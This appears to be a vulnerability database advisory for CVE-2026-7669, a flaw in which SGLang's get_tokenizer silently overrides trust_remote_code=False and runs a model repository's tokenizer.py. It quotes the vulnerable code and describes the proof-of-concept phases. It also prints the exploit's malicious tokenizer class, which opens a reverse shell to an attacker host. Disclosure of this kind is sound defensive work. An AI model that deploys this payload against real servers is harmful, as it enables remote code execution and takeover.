sgl-project SGLang up to 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code code injection

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.9$0-$5k0.00

Summaryinfo

A vulnerability identified as critical has been detected in sgl-project SGLang up to 0.5.9. The affected element is the function get_tokenizer of the file python/sglang/srt/utils/hf_transformers_utils.py of the component HuggingFace Transformer Handler. This manipulation of the argument trust_remote_code with the input False as part of Boolean causes code injection. This vulnerability is tracked as CVE-2026-7669. The attack is possible to be carried out remotely. Moreover, an exploit is present. The vendor was contacted early about this disclosure but did not respond in any way.

Detailsinfo

A vulnerability was found in sgl-project SGLang up to 0.5.9 (Artificial Intelligence Software). It has been declared as critical. Affected by this vulnerability is the function get_tokenizer of the file python/sglang/srt/utils/hf_transformers_utils.py of the component HuggingFace Transformer Handler. The manipulation of the argument trust_remote_code with the input value False leads to a code injection vulnerability. The CWE definition for the vulnerability is CWE-94. The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. As an impact it is known to affect confidentiality, integrity, and availability. The advisory summarizes:

SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.
Confirmed exploitable on transformers 5.0.0 through 5.3.0. Transformers 5.4+ modified the TokenizersBackend fallback path and do not trigger the SGLang retry. SGLang's pyproject.toml pins transformers==5.3.0, placing every current SGLang installation within the vulnerable range.

The bug was discovered 04/07/2026. The weakness was disclosed by Nicholas Gould, David Rochester (ngould and davidrochester). The advisory contains:

trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.
This vulnerability is known as CVE-2026-7669. The exploitation appears to be difficult. The attack can be launched remotely. The exploitation doesn't need any form of authentication. Technical details and also a public exploit are known. MITRE ATT&CK project uses the attack technique T1059 for this issue. Responsible for the vulnerability is the following code:
# python/sglang/srt/utils/hf_transformers_utils.py:898-909                                                                                                                                                
  if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
      tokenizer = AutoTokenizer.from_pretrained(
          tokenizer_name,
          *args,                                                                                                                                                                                            
          trust_remote_code=True,
          tokenizer_revision=tokenizer_revision,                                                                                                                                                            
          clean_up_tokenization_spaces=False,                                                                                                                                                               
          **kwargs,
      )
The advisory points out:
On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.
In get_tokenizer(), when the caller passes trust_remote_code=False and HuggingFace transformers v5 returns a TokenizersBackend instance (the generic fallback for tokenizer classes not in the registry), SGLang silently re-invokes AutoTokenizer.from_pretrained with trust_remote_code=True, overriding the caller's explicit security setting. A model repository containing a malicious tokenizer.py referenced via auto_map in tokenizer_config.json will execute arbitrary Python in the SGLang process during this second call. No log line or warning is emitted. The override affects all current SGLang versions because transformers==5.3.0 is pinned in pyproject.toml. Both tokenizer_mode="auto" and tokenizer_mode="slow" are affected.

A public exploit has been developed by Nicholas Gould/David Rochester (gouldnicholas/davidrxchester) in Python. It is possible to download the exploit at github.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 25 days. During that time the estimated underground price was around . The vendor was contacted early about this disclosure but did not respond in any way. The code used by the exploit is:

import os, pathlib                                                                                                                                                                                        
  from transformers import PreTrainedTokenizerFast                                                                                                                                                          
   
  class MaliciousTokenizer(PreTrainedTokenizerFast):                                                                                                                                                        
      def __init__(self, *args, **kwargs):
          pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")                                                                                                                                        
          host = os.environ.get("ATTACKER_HOST")                                                                                                                                                            
          if host:
              import socket                                                                                                                                                                                 
              s = socket.socket()
              s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))                                                                                                                               
              os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)                                                                                                                        
              os.execve("/bin/sh", ["sh"], os.environ)                                                                                                                                                      
          super().__init__(*args, **kwargs)
The advisory illustrates:
The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.
Dockerized proof-of-concept with environment pinning. Runs without a GPU on python:3.12.7-slim-bookworm with transformers==5.3.0 and SGLang commit fae90abf6e15aaffb6fd924a439253674771487d. A SHA256 preflight asserts the affected file and the 12-line vulnerable block before any test runs. Four phases eliminate false positives: (1) AutoTokenizer.from_pretrained(False) directly : payload NOT executed; (1b) SGLang with lines 898-909 removed, called with False : payload NOT executed; (2) unmodified SGLang called with False — payload IS executed, with a runtime trace capturing the two-call override (call 0: False -> TokenizersBackend, call 1: True -> MaliciousTokenizer) and a DEBUG-level log capture confirming zero trust_remote_code log lines during the override; (2b) patched SGLang called with explicit True : payload IS executed (proves the patch is surgical, not over-broad). Three further phases extend the analysis. Phase 3 confirms slow tokenizer mode reaches RCE through the same 898-909 override path. Phase 4 confirms post-exploitation context: write access to SGLang source, launch_server.py (restart persistence), model directories, outbound TCP, environment secret read, arbitrary pip install, and UID 0 in lmsysorg/sglang:latest. Phase 5 verifies the HTTP attack surface: SGLang's default api_key=None/admin_api_key=None config leaves ADMIN_OPTIONAL endpoints unauthenticated (auth bypass is real), but no HTTP endpoint reaches get_tokenizer() post-startup, so this CVE remains UI:R and CVSS 8.8 High is the correct floor. A JSON ledger records PASS/FAIL/NA per claim (29 PASS / 0 FAIL / 0 N/A on the canonical run). Optional --server mode exercises the TokenizerManager.__init__ path; --versions runs transformers 5.0 through 5.5; --revshell opens an opt-in reverse shell.

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at EUVD (EUVD-2026-26802). Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

Vendor

Name

Version

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔒
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.2
VulDB Meta Temp Score: 6.9

VulDB Base Score: 5.6
VulDB Temp Score: 5.1
VulDB Vector: 🔒
VulDB Reliability: 🔍

Researcher Base Score: 8.8
Researcher Vector: 🔒

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍

Researcher Base Score: 🔒

Exploitinginfo

Class: Code injection
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒

Physical: No
Local: No
Remote: Yes

Availability: 🔒
Access: Public
Status: Proof-of-Concept
Author: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Programming Language: 🔒
Download: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Price Prediction: 🔍
Current Price Estimation: 🔒

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔒
Exploit Delay Time: 🔍

Timelineinfo

04/07/2026 Vulnerability found
04/07/2026 +0 days Vendor informed
05/02/2026 +24 days Advisory disclosed
05/02/2026 +0 days VulDB entry created
05/03/2026 +1 days Exploit disclosed
05/04/2026 +1 days VulDB entry last update

Sourcesinfo

Researcher: Nicholas Gould, David Rochester (ngould, davidrochester)
Status: Not defined

CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 05/02/2026 10:05
Updated: 05/04/2026 06:26
Changes: 05/02/2026 10:05 (54), 05/03/2026 04:01 (1), 05/04/2026 06:23 (51), 05/04/2026 06:26 (8)
Complete: 🔍
Submitter: ngould
Committer: ngould
Cache ID: 216::103

Submitinfo

Accepted

  • Submit #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (by ngould)

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion

No comments yet. Languages: en.

Please log in to comment.

Want to know what is going to be exploited?

We predict KEV entries!